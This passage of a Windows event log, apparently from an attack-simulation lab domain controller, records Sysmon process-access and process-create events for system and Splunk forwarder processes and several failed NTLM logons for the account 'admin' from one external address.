C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2171,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2172,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2173,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:05.437\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FED-5F2D-0000-00102F6C0300}\r\nTargetProcessId: 3736\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:05.437","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FED-5F2D-0000-00102F6C0300}","TargetProcessId":"3736","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221501,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60993\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60993","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221502,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t61184\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"61184","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221503,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t61275\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"61275","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2174,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.114\r\nProcessGuid: {90617006-3FEE-5F2D-0000-0010ED6D0300}\r\nProcessId: 3580\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Performance monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-perfmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=1F3027C93882E5D5A667B84CCEF3ED67,SHA256=504CDB3742BCBF617C837270CCEC0243205B7BF0A6AB5117EFB838DD2F004AAC,IMPHASH=53D37CD53647C5D82FCFA9E6970E154E\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.114","ProcessGuid":"{90617006-3FEE-5F2D-0000-0010ED6D0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe","FileVersion":"8.0.2","Description":"Performance monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-perfmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=1F3027C93882E5D5A667B84CCEF3ED67,SHA256=504CDB3742BCBF617C837270CCEC0243205B7BF0A6AB5117EFB838DD2F004AAC,IMPHASH=53D37CD53647C5D82FCFA9E6970E154E","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2175,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FEE-5F2D-0000-0010ED6D0300}\r\nTargetProcessId: 3580\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FEE-5F2D-0000-0010ED6D0300}","TargetProcessId":"3580","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2176,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FEE-5F2D-0000-0010ED6D0300}\r\nTargetProcessId: 3580\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FEE-5F2D-0000-0010ED6D0300}","TargetProcessId":"3580","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2177,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 